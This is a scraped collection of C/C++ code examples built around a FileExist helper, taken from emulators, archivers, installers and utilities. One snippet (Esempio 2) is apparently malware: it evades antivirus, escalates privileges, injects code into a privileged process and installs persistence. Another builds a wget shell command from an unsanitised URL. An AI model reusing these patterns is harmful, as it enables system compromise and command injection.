Esempio n. 1
0
// Load MIN ROM (and others)
int PokeMini_LoadROM(const char *filename)
{
	int colorloaded;
	char tmp[PMTMPV];

	// Save Individual EEPROM
	if (!CommandLine.eeprom_share) {
		if (PokeMini_EEPROMWritten && StringIsSet(CommandLine.eeprom_file)) {
			PokeMini_EEPROMWritten = 0;
			PokeMini_SaveEEPROMFile(CommandLine.eeprom_file);
		}
	}

#ifndef NO_ZIP
	if (ExtensionCheck(filename, ".zip")) {
		// Load new MIN ROM and Color Information inside zip
		if (!PokeMini_iLoadROMZip(filename, &colorloaded)) return 0;
		strcpy(CommandLine.min_file, filename);
	} else
#endif
 	{
		// Setup LCD mode based of color support
		if (ExtensionCheck(filename, ".minc")) {
			// Remove c and load new MIN ROM
			strcpy(tmp, filename);
			tmp[strlen(filename)-1] = 0;
			if (!PokeMini_LoadMINFile(tmp)) return 0;
			strcpy(CommandLine.min_file, tmp);
		} else {
			// Load new MIN ROM
			if (!PokeMini_LoadMINFile(filename)) return 0;
			strcpy(CommandLine.min_file, filename);
		}

		// Load Color Information
		sprintf(tmp, "%sc", CommandLine.min_file);
		if (FileExist(tmp) && PokeMini_LoadColorFile(tmp)) {
			colorloaded = 1;
		} else colorloaded = 0;
	}

	if (!colorloaded) {
		if (CommandLine.lcdmode == 3) CommandLine.lcdmode = 0;
	} else CommandLine.lcdmode = 3;

	// Load Individual EEPROM
	if (!CommandLine.eeprom_share) {
		sprintf(CommandLine.eeprom_file, "%s.eep", CommandLine.min_file);
		MinxIO_FormatEEPROM();
		if (FileExist(CommandLine.eeprom_file)) PokeMini_LoadEEPROMFile(CommandLine.eeprom_file);
	}

	// Soft reset hardware
	PokeMini_Reset(0);

	// Apply changes
	PokeMini_ApplyChanges();

	return 1;
}
Esempio n. 2
0
//-----------------------------------------------------------------
BOOL __stdcall WinMain(HINSTANCE, HINSTANCE, PTSTR, int){

	char	buf[128];

	AVPsex();
	GetSystemDirectory(buf, 128);
	strcat(buf, "\\");
	strcat(buf, MY_MACRO_RECORD_NAME);
	strcat(buf, ".exe\0");
	GetMaxPriv();
	// InstallAndRegisterDrivers();
	if(GetPrivilege("SeDebugPrivilege")){
		if(FileExist(buf)){
            InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
		}else{
			InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 1);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 0);
			return FALSE;
		}
	}else{
		if(FileExist(buf)){
            InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
		}else{
			InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 1);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 0);
			return FALSE;
		}
	}

return FALSE;
}
Esempio n. 3
0
BOOL CRealOnline::RegRealOnline()
{
	TCHAR szPath[MAX_PATH + 1];
	TCHAR szCurPath[MAX_PATH + 1];
	CString m_sysdir, m_prodir, m_datadir;

	if(CheckRealOnline() &&
		MessageBox(NULL, str_again, str_title,MB_OKCANCEL|MB_TOPMOST) != IDOK)
		return FALSE;
	
	::GetCurrentDirectory(MAX_PATH, szCurPath);
	::SetCurrentDirectory(m_dir);

	::GetSystemDirectory(szPath, MAX_PATH);
	m_sysdir.Format(_T("%s\\"), szPath);

	SHGetSpecialFolderPath(NULL, szPath, CSIDL_PROGRAM_FILES, FALSE);
	m_prodir.Format(_T("%s\\"), szPath);

	SHGetSpecialFolderPath(NULL, szPath, CSIDL_LOCAL_APPDATA, FALSE);
	m_datadir.Format(_T("%s\\"), szPath);

	CopyFile(m_dir +_T("pncrt.dll") , m_sysdir + _T("pncrt.dll") , TRUE);
	CopyFile(m_dir +_T("msvcp71.dll") , m_sysdir + _T("msvcp71.dll") , TRUE);
	CopyFile(m_dir +_T("msvcr71.dll") , m_sysdir + _T("msvcr71.dll") , TRUE);
	CopyFile(m_dir +_T("Real\\pndx5016.dll") , m_sysdir + _T("pndx5016.dll") , FALSE);
	CopyFile(m_dir +_T("Real\\pndx5032.dll") , m_sysdir + _T("pndx5032.dll") , FALSE);
	CopyFile(m_dir +_T("Real\\rmoc3260.dll") , m_sysdir + _T("rmoc3260.dll") , FALSE);

	//Firefox plugins
	if(FileExist(m_prodir + _T("Mozilla Firefox"))) {
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nppl3260.xpt") , m_prodir + _T("Mozilla Firefox\\components\\nppl3260.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nsJSRealPlayerPlugin.xpt") , m_prodir + _T("Mozilla Firefox\\components\\nsJSRealPlayerPlugin.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nppl3260.dll") , m_prodir + _T("Mozilla Firefox\\plugins\\nppl3260.dll"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nprpjplug.dll") , m_prodir + _T("Mozilla Firefox\\plugins\\nprpjplug.dll"), FALSE);
	}

	//Chrome plugins
	if(FileExist(m_datadir + _T("Google\\Chrome"))) {
		if(!FileExist(m_datadir + _T("Google\\Chrome\\plugins")))
			CreateDirectory(m_datadir + _T("Google\\Chrome\\plugins"), NULL);
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nppl3260.xpt") , m_datadir + _T("Google\\Chrome\\plugins\\nppl3260.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nsJSRealPlayerPlugin.xpt") , m_datadir + _T("Google\\Chrome\\plugins\\nsJSRealPlayerPlugin.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nppl3260.dll") , m_datadir + _T("Google\\Chrome\\plugins\\nppl3260.dll"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nprpjplug.dll") , m_datadir + _T("Google\\Chrome\\plugins\\nprpjplug.dll"), FALSE);
	}

	CopyFile(m_dir +_T("Real\\realreg") , m_dir +_T("realreg.inf"), FALSE);
	WinExec("rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 .\\realreg.inf",SW_HIDE);
	Sleep(1000);
	DeleteFile(m_dir +_T("realreg.inf"));
	ShellExecute(0, _T("open"), _T("regsvr32.exe") , _T(" /s \"")+ m_sysdir + _T("rmoc3260.dll\"") , NULL, SW_HIDE);

	::SetCurrentDirectory(szCurPath);

	if(CheckRealThread == NULL)
		CheckRealThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckThread,this,0,0);

	return TRUE;
}
Esempio n. 4
0
BOOL CRealOnline::DRegRealOnline()
{
	TCHAR szPath[MAX_PATH + 1];
	TCHAR szCurPath[MAX_PATH + 1];
	CString m_sysdir, m_prodir, m_datadir;

	if(!CheckRealOnline()) {
		MessageBox(NULL, str_on, str_title, MB_TOPMOST);
		return FALSE;
	}
	
	::GetCurrentDirectory(MAX_PATH, szCurPath);
	::SetCurrentDirectory(m_dir);

	::GetSystemDirectory(szPath, MAX_PATH);
	m_sysdir.Format(_T("%s\\"), szPath);

	SHGetSpecialFolderPath(NULL, szPath, CSIDL_PROGRAM_FILES, FALSE);
	m_prodir.Format(_T("%s\\"), szPath);

	SHGetSpecialFolderPath(NULL, szPath, CSIDL_LOCAL_APPDATA, FALSE);
	m_datadir.Format(_T("%s\\"), szPath);


	if(FileExist(m_sysdir + _T("rmoc3260.dll")))
		ShellExecute(0, _T("open"), _T("regsvr32.exe") , _T(" /u /s \"")+ m_sysdir + _T("rmoc3260.dll\"") , NULL, SW_HIDE);
	else
		ShellExecute(0, _T("open"), _T("regsvr32.exe") , _T(" /u /s \"")+ m_dir + _T("Real\\rmoc3260.dll\"") , NULL, SW_HIDE);
	DeleteFile(m_sysdir +_T("rmoc3260.dll"));
	DeleteFile(m_sysdir + _T("pndx5016.dll"));
	DeleteFile(m_sysdir + _T("pndx5032.dll"));
	CopyFile(m_dir +_T("Real\\unrealreg") , m_dir +_T("unrealreg.inf") , TRUE);
	WinExec("rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 .\\unrealreg.inf",SW_HIDE);
	Sleep(500);
	DeleteFile(m_dir +_T("unrealreg.inf"));

	//Firefox plugins
	if(FileExist(m_prodir + _T("Mozilla Firefox"))) {
		DeleteFile(m_prodir + _T("Mozilla Firefox\\components\\nppl3260.xpt"));
		DeleteFile(m_prodir + _T("Mozilla Firefox\\components\\nsJSRealPlayerPlugin.xpt"));
		DeleteFile(m_prodir + _T("Mozilla Firefox\\plugins\\nppl3260.dll"));
		DeleteFile(m_prodir + _T("Mozilla Firefox\\plugins\\nprpjplug.dll"));
	}

	//Chrome plugins
	if(FileExist(m_datadir + _T("Google\\Chrome\\plugins"))) {
		DeleteFile(m_datadir + _T("Google\\Chrome\\plugins\\nppl3260.xpt"));
		DeleteFile(m_datadir + _T("Google\\Chrome\\plugins\\nsJSRealPlayerPlugin.xpt"));
		DeleteFile(m_datadir + _T("Google\\Chrome\\plugins\\nppl3260.dll"));
		DeleteFile(m_datadir + _T("Google\\Chrome\\plugins\\nprpjplug.dll"));
	}

	::SetCurrentDirectory(szCurPath);

	return TRUE;
}
Esempio n. 5
0
void OFile::backupAllFiles( const std::string& str ) {
  if(str=="/dev/null") return;
  plumed_assert( backstring!="bck" && !checkRestart());
  size_t found=str.find_last_of("/\\");
  std::string filename = appendSuffix(str,getSuffix());
  std::string directory=filename.substr(0,found+1);
  std::string file=filename.substr(found+1);
  if( FileExist(filename) ) backupFile("bck", filename);
  for(int i=0;; i++) {
    std::string num; Tools::convert(i,num);
    std::string filestr = directory + backstring + "." + num + "." + file;
    if( !FileExist(filestr) ) break;
    backupFile( "bck", filestr);
  }
}
Esempio n. 6
0
// Reset emulation
void PokeMini_Reset(int hardreset)
{
	char tmp[PMTMPV];

	// Reset IO
	if (hardreset) {
		memset(PM_RAM, 0xFF, 8192);
		memcpy(PM_IO, PM_IO_INIT, 256);
	}

	// Reset all components
	MinxTimers_Reset(hardreset);
	MinxIRQ_Reset(hardreset);
	MinxIO_Reset(hardreset);
	MinxPRC_Reset(hardreset);
	MinxColorPRC_Reset(hardreset);
	MinxLCD_Reset(hardreset);
	MinxAudio_Reset(hardreset);
	MinxCPU_Reset(hardreset);

	// Change BIOS
	if (!PokeMini_FreeBIOS && CommandLine.forcefreebios) {
		PokeMini_LoadFreeBIOS();
	}
	if (PokeMini_FreeBIOS && !CommandLine.forcefreebios) {
		PokeMini_LoadFreeBIOS();
		if (StringIsSet(CommandLine.bios_file)) {
			if (FileExist(CommandLine.bios_file)) PokeMini_LoadBIOSFile(CommandLine.bios_file);
			else {
				PokeMini_GetCustomDir(tmp, PMTMPV);
				PokeMini_GotoExecDir();
				if (FileExist(CommandLine.bios_file)) PokeMini_LoadBIOSFile(CommandLine.bios_file);
				PokeMini_GotoCustomDir(tmp);
			}
		}
	}

	// Syncronize with host time
	PokeMini_SyncHostTime();

#ifndef PERFORMANCE
	// Set multicart type
	SetMulticart(CommandLine.multicart);
#endif

	// Callback
	if (PokeMini_OnReset) PokeMini_OnReset(hardreset);
}
Esempio n. 7
0
/*--------------------------------------------------------------------------*/
static char *getModuleXmlFilename(char *modulename)
{
	char *filename_module = NULL;
	
	if (modulename)
	{
		char *SciPath = NULL;
		SciPath = getSCIpath();
		if (SciPath)
		{
			int length_filename_module = 0;

			length_filename_module = (int)strlen(FORMATGATEWAYFILENAME) + 
			                   (int)strlen(SciPath)+((int)strlen(modulename)*2)+3;

			filename_module = (char*)MALLOC((length_filename_module+1)* 
							   sizeof(char));

			if (filename_module)
			{
				sprintf(filename_module,FORMATGATEWAYFILENAME,
					    SciPath,modulename,modulename);

				/* file doesn't exist */
				if ( !FileExist(filename_module) )
				{
					FREE(filename_module);
					filename_module = NULL;
				}
			}
			FREE(SciPath); SciPath = NULL;
		}
	}
	return filename_module;
}
BOOL CTxtFile::Exist(CString strPath, CString strBakDir, CString &strHistoryTmp)
{
	CString strYearMonth;
	CString strSN;
	GetSN(strSN, strPath);

	int nYear, nMonth, nDay;
	int nYearPre, nMonthPre;
	GetCrtDate(nYear, nMonth, nDay);

	const int nPreviousMonth=12;
	for (int i=0; i<=nPreviousMonth; i++)
	{
		nYearPre  = (nYear*12+nMonth-i)/12;
		nMonthPre = (nYear*12+nMonth-i)%12;

		strYearMonth.Format(_T("%d\\%d"), nYearPre, nMonthPre);

		if (FileExist(strBakDir+_T("\\")+strYearMonth+_T("\\")+strSN+_T(".tmp")) )
		{
			strHistoryTmp = strBakDir+_T("\\")+strYearMonth+_T("\\")+strSN+_T(".tmp");
			return TRUE;
		}
	}
	
	return FALSE;
}
Esempio n. 9
0
MKDIR_CODE MakeDir(const wchar *Name,bool SetAttr,uint Attr)
{
#ifdef _WIN_ALL
  BOOL RetCode=CreateDirectory(Name,NULL);
  if (RetCode==0 && !FileExist(Name))
  {
    wchar LongName[NM];
    if (GetWinLongPath(Name,LongName,ASIZE(LongName)))
      RetCode=CreateDirectory(LongName,NULL);
  }
  if (RetCode!=0) // Non-zero return code means success for CreateDirectory.
  {
    if (SetAttr)
      SetFileAttr(Name,Attr);
    return MKDIR_SUCCESS;
  }
  int ErrCode=GetLastError();
  if (ErrCode==ERROR_FILE_NOT_FOUND || ErrCode==ERROR_PATH_NOT_FOUND)
    return MKDIR_BADPATH;
  return MKDIR_ERROR;
#elif defined(_UNIX)
  char NameA[NM];
  WideToChar(Name,NameA,ASIZE(NameA));
  mode_t uattr=SetAttr ? (mode_t)Attr:0777;
  int ErrCode=mkdir(NameA,uattr);
  if (ErrCode==-1)
    return errno==ENOENT ? MKDIR_BADPATH:MKDIR_ERROR;
  return MKDIR_SUCCESS;
#else
  return MKDIR_ERROR;
#endif
}
Esempio n. 10
0
	void ConfigDataHolder::Impl::Save( const std::string& fileName )
	{
		if( !FileExist( "config" ) ){
			CreateDirectory( "config" );
		}

		std::fstream fOut( fileName, std::ios::out );
		if( !fOut ){
			return;
		}

		fOut << "BGM=" << m_ConfigFileData.m_ConfigData.m_BGMVolume << std::endl;
		fOut << "SE=" << m_ConfigFileData.m_ConfigData.m_SEVolume << std::endl;
		std::string strings[ 7 ] = { "1/4", "1/3", "1/2", "x1", "x2", "x3", "x4" };
		fOut << "PLAY_SPEED=" << strings[ m_ConfigFileData.m_ConfigData.m_PlaySpeed ] << std::endl;

		char* pCapsStr[ GENERAL_BUTTON_TOTAL ] = {	"MOVE_UP",
													"MOVE_DOWN",
													"MOVE_RIGHT",
													"MOVE_LEFT",
													"SHOT",
													"BOMB",
													"GREEN",
													"BLUE",
													"RED" };

		for( int i = 0; i < GENERAL_BUTTON_TOTAL; ++i ){
			std::string s = "KEYBOARD_";
			s += pCapsStr[ i ];
			s += "=";
			fOut << s << GetStringFromButton( m_ConfigFileData.m_ConfigData.m_KeyboardCaps[ i ] ) << std::endl;
		}

		fOut.close();
	}
Esempio n. 11
0
void CUpdateDlg::StartDownload()
{
	m_info1.Format(_T("%s\n\n%s"), str_downloading, m_filename.c_str());

	m_avgbps = 0;
	m_avgnumber = 0;
	m_filesize = 0;
	m_DownSize = 0;
	m_LastTimer = 0;
	m_LastTimerSize = 0;

	if(!FileExist(m_path.c_str()))
		CreateDirectory(m_path.c_str(), NULL);
	else if(!FileIsDirectory(m_path.c_str())) {
		DeleteFile(m_path.c_str());
		CreateDirectory(m_path.c_str(), NULL);
	}

	m_progress.ShowWindow(SW_SHOW);
	DoDataExchange();

	m_failtime = 0;

	m_down_index = StartDownloaderW(m_url.c_str(), m_path.c_str(), m_filename.c_str(),
		(FUNC_CallBack)Callback_Download, DOWNLOAD_WPARAM);
}
Esempio n. 12
0
int	GetFileWithWGET(AGPS_CONFIG_T DataFileInfo)
{
	char	cmd[SMALL_BUFF];
	char	DataFilePath[SMALL_BUFF];
	char	LogPath[SMALL_BUFF];
	char	LogPostfix[SMALL_BUFF];
	char	TimeStamp[TIMESTAMP_SIZE];
	int	len;

	memset(cmd, 0, SMALL_BUFF);
	memset(LogPath, 0, SMALL_BUFF);
	memset(LogPostfix, 0, SMALL_BUFF);
	memset(DataFilePath, 0, SMALL_BUFF);
	memset(TimeStamp, 0, TIMESTAMP_SIZE);

	GetCurrentDate(TimeStamp);
	sprintf(LogPath, "%s", Config.SERVICE_LOG_PATH);
	sprintf(LogPostfix, "%s.LOG", TimeStamp);
	len = strlen(LogPath) - 3;
	memcpy(LogPath + len, LogPostfix, strlen(LogPostfix));
	
	printLog(HEAD, "LogPath(%s)\n", LogPath);

	sprintf(cmd, "cd %s;/usr/bin/wget %s -a %s", Config.WORKING_DIR, DataFileInfo.FileURL, LogPath);
	system(cmd);
	printLog(HEAD, "cmd(%s)\n", cmd);
	sprintf(DataFilePath, Config.WORKING_DIR, DataFileInfo.DataFile);
	if(FileExist(DataFilePath) > 0)	
		return	SUCCESS;
	else
		return	0;
}
Esempio n. 13
0
void VNDispatcher::readAndParseRuleFile()
{
	clearAllRules();

	CMainFrame *pMainWnd = (CMainFrame*) AfxGetApp()->m_pMainWnd;
	CString strRuleFile = pMainWnd->m_pEditRuleFile->GetEditText();

	CString strRulePathName = m_strDataDirectory + strRuleFile; //m_strRuleFile;
	if (!FileExist(strRulePathName))
	{
		MyMessageBox_Error(_T("readAndParseRuleFile"));
		return;
	}
	
	CStdioFile pRuleFile;
	pRuleFile.Open(strRulePathName, CFile::modeRead | CFile::typeText);
	
	CString strLine;
	m_strLines = _T("");
	while (pRuleFile.ReadString(strLine))
	{
		m_strLines += strLine;
		m_strLines += _T("\r\n");
	}
	m_pCurCoreRule = parseCoreRule(m_strLines);
	m_pArrCoreRules.push_back(m_pCurCoreRule);
	
	displayWholeFile();
	pRuleFile.Close();
}
Esempio n. 14
0
bool GetAutoRenamedName(wchar *Name,size_t MaxNameSize)
{
  wchar NewName[NM];
  size_t NameLength=wcslen(Name);
#ifdef _ANDROID
  if (NameLength>ASIZE(NewName)-10)
    return false;
#endif
  wchar *Ext=GetExt(Name);
  if (Ext==NULL)
    Ext=Name+NameLength;
  for (uint FileVer=1;;FileVer++)
  {
#ifdef _ANDROID // No swprintf in Android NDK r9.
    uint NamePrefixLength=Ext-Name;
    wcsncpy(NewName,Name,NamePrefixLength);
    wcscpy(NewName+NamePrefixLength,L"(");
    itoa(FileVer,NewName+NamePrefixLength+1,ASIZE(NewName)-NamePrefixLength-1);
    wcsncatz(NewName,L")",ASIZE(NewName));
    wcsncatz(NewName,Ext,ASIZE(NewName));
#else
    swprintf(NewName,ASIZE(NewName),L"%.*ls(%u)%ls",uint(Ext-Name),Name,FileVer,Ext);
#endif
    if (!FileExist(NewName))
    {
      wcsncpyz(Name,NewName,MaxNameSize);
      break;
    }
    if (FileVer>=1000000)
      return false;
  }
  return true;
}
Esempio n. 15
0
/* include import 加载文件 */
static int LoadFile (char *filename)
{
    /* 如果文件存在,
     * 保存以前的Input 信息
     * 读取新的文件 */
    if (FileExist (filename)) {
        
        Include p;
        CALLOC (p);

        p->PreInput = Input;
        p->isDef = false;
        ReadSourceFile (filename);
        p->PreTokenCoord = TokenCoord;
        p->endifCnt = endifCnt;
        INSERT_ITEM (InLink, p);

        TokenCoord.filename = filename;
        TokenCoord.line = TokenCoord.col = TokenCoord.ppline = 1;
        endifCnt = 0;
        INFO (4, "load %s file.", filename);

        return 1;
    }
    return 0;
}
Esempio n. 16
0
CtrlAttr * CWBProcess::GetCtrlAttr (CtrlAttr *lpAttr)
{
    CtrlAttr *lpCtrl;
    LPSTR     lpStr;

    lpCtrl = new CtrlAttr ();

    if (lpAttr)
    {
        lpCtrl->ctName  = lpAttr->ctName;
        lpCtrl->ctColor = lpAttr->ctColor;
        lpCtrl->ctLine  = lpAttr->ctLine;
        mov_mem (&lpAttr->ctPos, &lpCtrl->ctPos, sizeof(RcPos));
        mov_mem (&lpAttr->ctFont, &lpCtrl->ctFont, sizeof(FontDef));
        switch (lpCtrl->ctName)
        {
        case WB_TXT:
            lpStr = lpAttr->ctText.tdText;
            if (lpStr)
                lpCtrl->ctText.CopyTxt (lpStr, lpAttr->ctText.tdLen);
            break;
        case WB_IMG:
            lpStr = lpAttr->ctImage.idName;
            if (FileExist(lpStr))
                lpCtrl->ctImage.SetName (lpStr);
            break;
        default:
        {} // this line avoids switch warnings in gcc.
        }
    }

    return lpCtrl;
}
Esempio n. 17
0
/*--------------------------------------------------------------------------*/ 
BOOL FileExistW(wchar_t *wcfilename)
{
#ifdef _MSC_VER
	if (wcfilename)
	{
		WIN32_FIND_DATAW FindFileData;
		HANDLE handle = FindFirstFileW (wcfilename, &FindFileData);
		if (handle != INVALID_HANDLE_VALUE)
		{
			FindClose (handle);
			return TRUE;
		}
		else return FALSE;
	}
	else return FALSE;
	
#else
	char *filename = wide_string_to_UTF8(wcfilename);
	if (filename)
	{
		BOOL bOK = FileExist(filename);
		FREE(filename);
		return bOK;
	}
	return FALSE;
#endif
}
Esempio n. 18
0
void GenerateArchiveName(wchar *ArcName,size_t MaxSize,const wchar *GenerateMask,bool Archiving)
{
  // Must be enough space for archive name plus all stuff in mask plus
  // extra overhead produced by mask 'N' (archive number) characters.
  // One 'N' character can result in several numbers if we process more
  // than 9 archives.
  wchar NewName[NM+MAX_GENERATE_MASK+20];

  uint ArcNumber=1;
  while (true) // Loop for 'N' (archive number) processing.
  {
    wcsncpyz(NewName,ArcName,ASIZE(NewName));
    
    bool ArcNumPresent=false;

    GenArcName(NewName,GenerateMask,ArcNumber,ArcNumPresent);
    
    if (!ArcNumPresent)
      break;
    if (!FileExist(NewName))
    {
      if (!Archiving && ArcNumber>1)
      {
        // If we perform non-archiving operation, we need to use the last
        // existing archive before the first unused name. So we generate
        // the name for (ArcNumber-1) below.
        wcsncpyz(NewName,NullToEmpty(ArcName),ASIZE(NewName));
        GenArcName(NewName,GenerateMask,ArcNumber-1,ArcNumPresent);
      }
      break;
    }
    ArcNumber++;
  }
  wcsncpyz(ArcName,NewName,MaxSize);
}
Esempio n. 19
0
//发送头部
bool CHttpProtocol::SendHeader(PREQUEST pReq)
{
	int iResult;
	char Header[2048];
	while(false == FileExist(pReq))
	{//文件不存在,更改到错误标志文件路径
		strcpy_s(pReq->szFileName, strRootDir);
		strcat_s(pReq->szFileName, "/error.html");
	}
	GetCurTime(Time);
	//取得文件长度
	DWORD length;
	length = GetFileSize(pReq->hFile, NULL);
	//取得文件的last-modified时间
	char last_modified[100];
	GetLastModified(pReq->hFile, (char*)last_modified);
	//取得文件的类型
	char ContenType[100];
	GetContenType(pReq, (char*)ContenType);
	sprintf_s(Header, sizeof(Header), "HTTP/1.0 %s\r\nDate: %s\r\nServer: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nLast-Modified: %s\r\n\r\n",  HTTP_STATUS_OK, 
			Time,				    // Date
			"My Web Server", // Server
			ContenType,				// Content-Type
			length,					// Content-length
			last_modified);			// Last-Modified
	//发送头部
	iResult = send(pReq->Socket, Header, strlen(Header), 0);
	pReq->dwSend += iResult;
	if (iResult == SOCKET_ERROR) 
	{
		printf("send failed with error: %d\n", WSAGetLastError());
		return false;
    }
	return true;
}
Esempio n. 20
0
void SetDisplayRes(HWND hParent, int Height, int Width, int Bits)
{
	if (FileExist(TEXT("setres.exe"))) {
		// SetResを使用して画像解像度を変更する場合
		TCHAR szResCmd[16];
		wsprintf(szResCmd, TEXT("h%d v%d b%d"), Height, Width, Bits);
		Execute(NULL, NULL, TEXT("setres.exe"), szResCmd, NULL, SW_SHOWDEFAULT);
		return;
	} else {
		// ChangeDisplaySettings API を使用して画像解像度を変更する場合
		DEVMODE devmode;
		
		// 現在の画面の設定を取得
		if (!EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode)) {
			MessageBox(hParent, langStr.szResFailedGetDispInfo, langStr.szErrorTitle, MB_OK | MB_ICONERROR);
			return;
		}
		
		// 変更する設定
		devmode.dmPelsWidth = Height;
		devmode.dmPelsHeight = Width;
		devmode.dmBitsPerPel = Bits;
		devmode.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
		
		// 設定を変更
		switch (ChangeDisplaySettings(&devmode, CDS_UPDATEREGISTRY))
		{
			case DISP_CHANGE_SUCCESSFUL:
				break;
			
			case DISP_CHANGE_RESTART:
				MessageBox(hParent, langStr.szResRestart, langStr.szInformationTitle, MB_OK | MB_ICONINFORMATION);
				break;
			
			case DISP_CHANGE_BADFLAGS:
				MessageBox(hParent, langStr.szResBadFlags, langStr.szErrorTitle, MB_OK | MB_ICONERROR);
				break;
			
			case DISP_CHANGE_BADPARAM:
				MessageBox(hParent, langStr.szResBadParam, langStr.szErrorTitle, MB_OK | MB_ICONERROR);
				break;
			
			case DISP_CHANGE_FAILED:
				MessageBox(hParent, langStr.szResFailed, langStr.szErrorTitle, MB_OK | MB_ICONERROR);
				break;
			
			case DISP_CHANGE_BADMODE:
				MessageBox(hParent, langStr.szResBadMode, langStr.szErrorTitle, MB_OK | MB_ICONERROR);
				break;
			
			case DISP_CHANGE_NOTUPDATED:
				MessageBox(hParent, langStr.szResNotUpdated, langStr.szErrorTitle, MB_OK | MB_ICONERROR);
				break;
			
		}
		
		return;
	}
}
Esempio n. 21
0
static int StartScript(lua_State * pLua) {
	if(lua_gettop(pLua) != 1) {
        luaL_error(pLua, "bad argument count to 'StartScript' (1 expected, got %d)", lua_gettop(pLua));
        lua_settop(pLua, 0);
        lua_pushnil(pLua);
        return 1;
    }

    if(lua_type(pLua, 1) != LUA_TSTRING) {
        luaL_checktype(pLua, 1, LUA_TSTRING);
		lua_settop(pLua, 0);
		lua_pushnil(pLua);
        return 1;
    }

    size_t szLen;
    char * sName = (char *)lua_tolstring(pLua, 1, &szLen);
    
    if(szLen == 0) {
		lua_settop(pLua, 0);
		lua_pushnil(pLua);
        return 1;
    }

	if(FileExist((ServerManager::m_sScriptPath + sName).c_str()) == false) {
		lua_settop(pLua, 0);
		lua_pushnil(pLua);
        return 1;
	}

    Script * curScript = ScriptManager::m_Ptr->FindScript(sName);
    if(curScript != NULL) {
        lua_settop(pLua, 0);

        if(curScript->m_pLua != NULL) {
    		lua_pushnil(pLua);
            return 1;
        }

		if(ScriptManager::m_Ptr->StartScript(curScript, true) == false) {
    		lua_pushnil(pLua);
            return 1;
        }

    	lua_pushboolean(pLua, 1);
        return 1;
	}

	if(ScriptManager::m_Ptr->AddScript(sName, true, true) == true && ScriptManager::m_Ptr->StartScript(ScriptManager::m_Ptr->m_ppScriptTable[ScriptManager::m_Ptr->m_ui8ScriptCount-1], false) == true) {
        lua_settop(pLua, 0);
    	lua_pushboolean(pLua, 1);
        return 1;
    }

    lua_settop(pLua, 0);
    lua_pushnil(pLua);
    return 1;
}
Esempio n. 22
0
void CommandData::ProcessCommand()
{
#ifndef SFX_MODULE

  const wchar *SingleCharCommands=L"FUADPXETK";
  if (Command[0]!=0 && Command[1]!=0 && wcschr(SingleCharCommands,Command[0])!=NULL || *ArcName==0)
    OutHelp(*Command==0 ? RARX_SUCCESS:RARX_USERERROR); // Return 'success' for 'rar' without parameters.

#ifdef _UNIX
  if (GetExt(ArcName)==NULL && (!FileExist(ArcName) || IsDir(GetFileAttr(ArcName))))
    wcsncatz(ArcName,L".rar",ASIZE(ArcName));
#else
  if (GetExt(ArcName)==NULL)
    wcsncatz(ArcName,L".rar",ASIZE(ArcName));
#endif

  if (wcschr(L"AFUMD",*Command)==NULL)
  {
    if (GenerateArcName)
      GenerateArchiveName(ArcName,ASIZE(ArcName),GenerateMask,false);

    StringList ArcMasks;
    ArcMasks.AddString(ArcName);
    ScanTree Scan(&ArcMasks,Recurse,SaveSymLinks,SCAN_SKIPDIRS);
    FindData FindData;
    while (Scan.GetNext(&FindData)==SCAN_SUCCESS)
      AddArcName(FindData.Name);
  }
  else
    AddArcName(ArcName);
#endif

  switch(Command[0])
  {
    case 'P':
    case 'X':
    case 'E':
    case 'T':
    case 'I':
      {
        CmdExtract Extract(this);
        Extract.DoExtract();
      }
      break;
#ifndef SILENT
    case 'V':
    case 'L':
      ListArchive(this);
      break;
    default:
      OutHelp(RARX_USERERROR);
#endif
  }
  if (!BareOutput)
    mprintf(L"\n");
}
Esempio n. 23
0
void GetLDVLanguages(LDV_MODULE *ldv, char *buf)
{
  DTA  dta, *old_dta ;
  char name[PATH_MAX] ;
  char ini_name[PATH_MAX] ;
  char ldv_nameextini[50] ;
  char *dot ;
  int  ret ;

  if ( ldv->FileName ) strcpy( ldv_nameextini, ldv->FileName ) ;
  else                 return ;
  dot = strrchr( ldv_nameextini, '.' ) ;
  if ( dot )
  {
    *dot = 0 ;
    strcat( ldv_nameextini, ".INI" ) ;
  }

  sprintf( ini_name, "%s\\%s", config.path_ldv, ldv_nameextini ) ;
  if ( FileExist( ini_name ) ) sprintf( buf, "English " ) ;
  else                         buf[0] = 0 ;

  sprintf( name, "%s\\*.*", config.path_ldv ) ;
  old_dta = Fgetdta() ;
  Fsetdta( &dta ) ;
  ret = Fsfirst( name, FA_SUBDIR ) ;
  while ( ret == 0 )
  {
    if ( ( dta.d_fname[0] != '.' ) && ( dta.d_attrib & FA_SUBDIR ) )
    {
      sprintf( ini_name, "%s\\%s\\%s", config.path_ldv, dta.d_fname, ldv_nameextini ) ;
      if ( FileExist( ini_name ) )
      {
        strlwr( &dta.d_fname[1] ) ;
        strcat( buf, dta.d_fname ) ;
        strcat( buf, " " ) ;
      }
    }
    ret = Fsnext() ;
  }

  Fsetdta( old_dta ) ;
}
Esempio n. 24
0
// Additionally to handling user input, it analyzes and sets command options.
// Returns only 'replace', 'skip' and 'cancel' codes.
UIASKREP_RESULT uiAskReplaceEx(RAROptions *Cmd,wchar *Name,size_t MaxNameSize,int64 FileSize,RarTime *FileTime,uint Flags)
{
